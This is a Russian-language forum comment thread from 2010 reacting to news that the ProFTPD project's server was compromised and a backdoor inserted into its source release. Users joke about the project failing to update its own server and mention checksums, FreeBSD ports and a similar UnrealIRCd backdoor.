	Ответить \| Правка \| ^ к родителю #34 \| Наверх \| Cообщить модератору


	59. "В коде FTP-сервера ProFTPD обрнаружен бэкдор"	+/–
	Сообщение от Michael Shigorin (ok) on 04-Дек-10, 17:35
	В том числе и на официальных болванках не раз и не два. ЕМНИП Microsoft Ireland в т.ч.
	Ответить \| Правка \| ^ к родителю #55 \| Наверх \| Cообщить модератору


	44. "В коде FTP-сервера ProFTPD обрнаружен бэкдор"	+/–
	Сообщение от bootforce on 03-Дек-10, 13:14
	зачем мне его обсирать, если это мой хлеб? я просто слежу за тенденциями, которые в том числе отражаются и в новостях на этом сайте.
	Ответить \| Правка \| ^ к родителю #22 \| Наверх \| Cообщить модератору


	52. "В коде FTP-сервера ProFTPD обрнаружен бэкдор"	–1 +/–
	Сообщение от User294 (ok) on 03-Дек-10, 19:18
	> зачем мне его обсирать, если это мой хлеб? Не знаю. А в чем фокус - заявить "посыпались дыры" хотя у proftpd проблемы с секурити были и раньше, при том довольно суровые? oO
	Ответить \| Правка \| ^ к родителю #44 \| Наверх \| Cообщить модератору


	60. "В коде FTP-сервера ProFTPD обрнаружен бэкдор"	+/–
	Сообщение от bootforce on 04-Дек-10, 17:57
	ну я вообще про опенсурс написал же, а не про профтпд конкретно
	Ответить \| Правка \| ^ к родителю #52 \| Наверх \| Cообщить модератору


	58. "В коде FTP-сервера ProFTPD обрнаружен бэкдор"	–1 +/–
	Сообщение от К.О. on 04-Дек-10, 16:08
	С IIS все равно не сравнится.
	Ответить \| Правка \| ^ к родителю #1 \| Наверх \| Cообщить модератору

2. "В коде FTP-сервера ProFTPD обрнаружен бэкдор"	+1 +/–
Сообщение от botman (ok) on 02-Дек-10, 19:33
Юные читатели журналов "Хакер" атакуют?
Ответить \| Правка \| ^ к родителю #0 \| Наверх \| Cообщить модератору


	6. "В коде FTP-сервера ProFTPD обрнаружен бэкдор"	+3 +/–
	Сообщение от Аноним (??) on 02-Дек-10, 19:57
	Ага, разбежался... они только с**т в коментах. А эти ACIDBITCHES перед этим как раз дыру в ядре нашли-изучили и эксплуатировали 1,5 года.
	Ответить \| Правка \| ^ к родителю #2 \| Наверх \| Cообщить модератору


	51. "В коде FTP-сервера ProFTPD обрнаружен бэкдор"	+/–
	Сообщение от ххх on 03-Дек-10, 17:41
	> Ага, разбежался... они только с**т в коментах. А эти ACIDBITCHES перед этим > как раз дыру в ядре нашли-изучили и эксплуатировали 1,5 года. в ядре чего??
	Ответить \| Правка \| ^ к родителю #6 \| Наверх \| Cообщить модератору


	53. "В коде FTP-сервера ProFTPD обрнаружен бэкдор"	+1 +/–
	Сообщение от User294 (ok) on 03-Дек-10, 21:07
	> Ага, разбежался... они только с**т в коментах. А эти ACIDBITCHES перед этим > как раз дыру в ядре нашли-изучили и эксплуатировали 1,5 года. Еще, судя по всему, те же кислотные сучки вбросили и бэкдор в Unreal IRCD (http://www.opennet.me/opennews/art.shtml?num=26945). Префикс команды бэкдора AB как бы намекает чьих это рук дело. Там, кстати, как я понял тоже раздолбайское администрирование в основном виновато - не заметили взлом, подписей не было. Ради справедливости замечу что серваков с бэкдором в диком виде почти не попалось, хотя бэкдор анреала довольно долго валялся. Видимо эффективность таких атак не слишком высокая. Если из пакетов софт ставить - тут майнтайнеры скорее всего спасут ситуацию. ЗЫ а от кислотных сук и польза есть - теперь народ будет читать сорцы, а не только качать и тупо компилить, гы-гы :). На то и щуки-сцуки, чтобы карась не дремал.
	Ответить \| Правка \| ^ к родителю #6 \| Наверх \| Cообщить модератору

4. "Взлом сервера проекта ProFTPD привел к внедрению бэкдора"	+19 +/–
Сообщение от Аноним (??) on 02-Дек-10, 19:41
"Взлом сервера проекта был осуществлен в результате несвоевременного обновления ProFTPD, обслуживающего FTP-сервер проекта ProFTPD." Сапожники блин, насмешили :-D
Ответить \| Правка \| ^ к родителю #0 \| Наверх \| Cообщить модератору

8. "Взлом сервера проекта ProFTPD привел к внедрению бэкдора"	+1 +/–
Сообщение от Анон on 02-Дек-10, 20:22
Что зачастили со взломом opensource'а. Хотя не opensource итого чаще ломают. От последнего обзаца улыбнуло: ProFTPD несвоевременно обновили ProFTPD.:))
Ответить \| Правка \| ^ к родителю #0 \| Наверх \| Cообщить модератору


	56. "Взлом сервера проекта ProFTPD привел к внедрению бэкдора"	+/–
	Сообщение от PereresusNeVlezaetBuggy (ok) on 04-Дек-10, 02:19
	> Что зачастили со взломом opensource'а. Хотя не opensource итого чаще ломают. Так это... ресурс сей вроде бы в первую очередь про опенсорс пишет, не? А о дырках в пропиетарных программах тоже пишут, просто вы, видимо, в таких местах бываете реже. :)
	Ответить \| Правка \| ^ к родителю #8 \| Наверх \| Cообщить модератору

9. "Взлом сервера проекта ProFTPD привел к внедрению бэкдора"	+/–
Сообщение от Аноним (??) on 02-Дек-10, 20:32
ProFTPD всегда был дырой
Ответить \| Правка \| ^ к родителю #0 \| Наверх \| Cообщить модератору

16. "Взлом сервера проекта ProFTPD привел к внедрению бэкдора"	+1 +/–
Сообщение от вывуыф on 02-Дек-10, 21:26
я собирал из портов фряхи профтп как раз где-то 28-29 ноября 1.3.3с тарбол в distfiles, чексуммы в норме, уязвимости нет, видимо не с официального сервера качалось, повезло)
Ответить \| Правка \| ^ к родителю #0 \| Наверх \| Cообщить модератору


	28. "Взлом сервера проекта ProFTPD привел к внедрению бэкдора"	+/–
	Сообщение от Аноним (??) on 03-Дек-10, 00:24
	> я собирал из портов фряхи профтп как раз где-то 28-29 ноября 1.3.3с > тарбол в distfiles, чексуммы в норме, уязвимости нет, видимо не с > официального сервера качалось, повезло) 1.3.3с в портах от 4-го числа (ноября): http://www.freshports.org/ftp/proftpd/, т.е. брали его с оф. сайта 4-го или раньше. все последующие правки внутре-фряшные, обычно для этого опять исходники не сгружают с оф.сайта, а работают над уже имеющимися.
	Ответить \| Правка \| ^ к родителю #16 \| Наверх \| Cообщить модератору

19. "Ну молодцы конечно - сами себя не обновили"	+2 +/–
Сообщение от Аноним (??) on 02-Дек-10, 21:34
Это какими надо быть разгильдями чтобы про дыру трезвонить везде всему интернету (что процессы proftpd например размножаются), а самим не обновить ПО на своем собственном сервере. Или видимо у них разрабы отдельно, а одмин отдельно и он был в запое? :))
Ответить \| Правка \| ^ к родителю #0 \| Наверх \| Cообщить модератору


	21. "Ну молодцы конечно - сами себя не обновили"	+2 +/–
	Сообщение от deadless on 02-Дек-10, 22:03
	> Это какими надо быть разгильдями чтобы про дыру трезвонить везде всему интернету > (что процессы proftpd например размножаются), а самим не обновить ПО на > своем собственном сервере. > Или видимо у них разрабы отдельно, а одмин отдельно и он был > в запое? :)) потому что пишут клоуны, им бы Тео прочитал бы лекцию часов эдак на 5...
	Ответить \| Правка \| ^ к родителю #19 \| Наверх \| Cообщить модератору